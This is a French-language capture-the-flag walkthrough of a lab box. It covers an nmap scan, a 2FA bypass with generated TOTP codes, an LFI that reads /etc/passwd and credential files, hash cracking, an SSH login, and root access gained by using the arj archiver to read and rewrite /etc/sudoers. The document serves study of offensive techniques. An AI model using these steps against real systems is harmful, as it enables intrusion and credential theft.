Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 08:53 EDT
Initiating Parallel DNS resolution of 1 host. at 08:53
Completed Parallel DNS resolution of 1 host. at 08:53, 0.00s elapsed
Initiating Connect Scan at 08:53
Scanning 192.168.235.144 [65535 ports]
Discovered open port 80/tcp on 192.168.235.144
Discovered open port 22/tcp on 192.168.235.144
Completed Connect Scan at 08:53, 27.93s elapsed (65535 total ports)
Nmap scan report for 192.168.235.144
Host is up, received user-set (0.034s latency).
Scanned at 2024-08-10 08:53:01 EDT for 28s
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
HTTP (80)
Nous testons admin:admin.
Nous arrivons sur cette page. Ce qui nous intéresse : apache_2fa... Précieux indice. Nous allons donc chercher plus d'informations dans ce dépôt github.
Nous avons tout téléchargé pour essayer de comprendre le fonctionnement. Cela n'est pas obligatoire. La lecture du readme.md est en revanche primordiale. Il faut télécharger une application (Google Authenticator) puis scanner le QR Code (ou reprendre le code). Un nombre à 6 chiffres apparaît, c'est celui-ci qui va nous permettre de bypass la page.
Accès initial
LFI
Nous allons exploré le site et cliquer sur "view result". Nous allons tester si nous pouvoir lire "/etc/passwd", et effectivement cela fonctionne. Nous avons un user : fox.
Nous n'avons pas trouvé de fichier ssh pour fox, nous n'avons pas trouvé non plus de fichier log pouvant nous permettre d'obtenir une RCE. Nous avons réfléchi à quels fichiers pouvant nous servir, et nous nous sommes rappelé du github précédent : /opt/apache_2fa/apache_credentials /opt/apache_2fa/tokens.json
Nous allons cracker les hash
Nous allons tenter de nous connecter en SSH. Après avoir rentrer le mot de passe THERESE pour l'utilisateur fox, on nous demande un code de vérification. Nous avons laclef pour l'utilisateur fox, il nous suffit donc de générer une clef à 6 chiffre avec celui-ci, comme nous avons faire précédemment. et cela fonctionne !
$ arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Processing archive: /usr/bin/arj
Archive created: 2019-02-10 14:50:08, modified: 2019-02-10 14:50:08
List of frequently used commands and switches. Type ARJ -? for more help.
Usage: ARJ <command> [-<sw> [-<sw>...]] <archive_name> [<file_names>...]
Examples: ARJ a -e archive, ARJ e archive, ARJ l archive *.doc
<Commands>
ac: Add Chapter to chapter archive l: List contents of archive
a: Add files to archive m: Move files to archive
c: Comment archive files t: Test integrity of archive
d: Delete files from archive u: Update files to archive
e: Extract files from archive v: Verbosely list contents of archive
f: Freshen files in archive x: eXtract files with full pathname
<Switches>
c: skip time-stamp Check r: Recurse subdirectories
e: Exclude paths from names u: Update files (new and newer)
f: Freshen existing files v: enable multiple Volumes
g: Garble with password w: assign Work directory
i: with no progress Indicator x: eXclude selected files
m: with Method 0, 1, 2, 3, 4 y: assume Yes on all queries
n: only New files (not exist) hk: enable ARJ-PROTECT damage protection
fox@g00g:~$ arj p athenax.arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Processing archive: athenax.arj
Archive created: 2024-08-10 11:04:16, modified: 2024-08-10 11:04:16
Extracting etc/sudoers to STDOUT # 0%
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
OK
1 file(s)
fox@g00g:~$ cat sudoers
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
fox ALL=(ALL:ALL) NOPASSWD:ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d